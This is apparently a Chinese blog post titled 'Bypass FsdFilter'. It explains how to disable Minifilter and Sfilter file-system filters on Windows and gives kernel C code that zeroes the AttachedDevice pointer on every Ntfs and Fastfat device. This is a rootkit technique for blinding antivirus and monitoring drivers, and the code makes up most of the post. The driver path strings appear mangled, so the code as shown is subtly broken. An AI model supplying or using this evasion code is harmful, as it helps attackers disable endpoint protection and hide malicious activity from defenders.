Bypass FsdFilter

关注

原创最新推荐文章于 2026-04-29 10:12:27 发布 862 阅读 AI 写同款· GEO 优化 ›

废掉Minifilter和Sfilter 支持x64 在学习Minifilter和sfilter后明白了一点,这两个文件过滤都是attach到设备上那么我们废掉的方法就很明显了,将文件系统上attach的所有设备清零怎么得到attach的所有设备呢？我们通过ObReferenceObjectByName或得到文件驱动对象地址得到的对象中有一个成员DeviceObject就得到了文件设备对象这里还有一个链表,保存着下一个对象阅读详情

//by qiqi

void ClearFilters(WCHAR * Name)
{

    UNICODE_STRING TName;
    PDRIVER_OBJECT TDrvObj;
    PDEVICE_OBJECT CurrentDevice;
    NTSTATUS status;

    RtlInitUnicodeString ( &TName, Name);
    status = ObReferenceObjectByName( &TName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        0,
        *IoDriverObjectType,
        KernelMode,
        NULL,
        &TDrvObj);

    if(NT_SUCCESS(status))
    {
        if(TDrvObj)
        {
            CurrentDevice = TDrvObj->DeviceObject;


            while(CurrentDevice != NULL )
            {
               CurrentDevice->AttachedDevice = 0;

               CurrentDevice = CurrentDevice->NextDevice;

            }

            ObDereferenceObject(TDrvObj);

        }
    }
}

void f**kFsdFilter()
{
        ClearFilters(L"//FileSystem//Ntfs");
        ClearFilters(L"//FileSystem//Fastfat");
}

收录于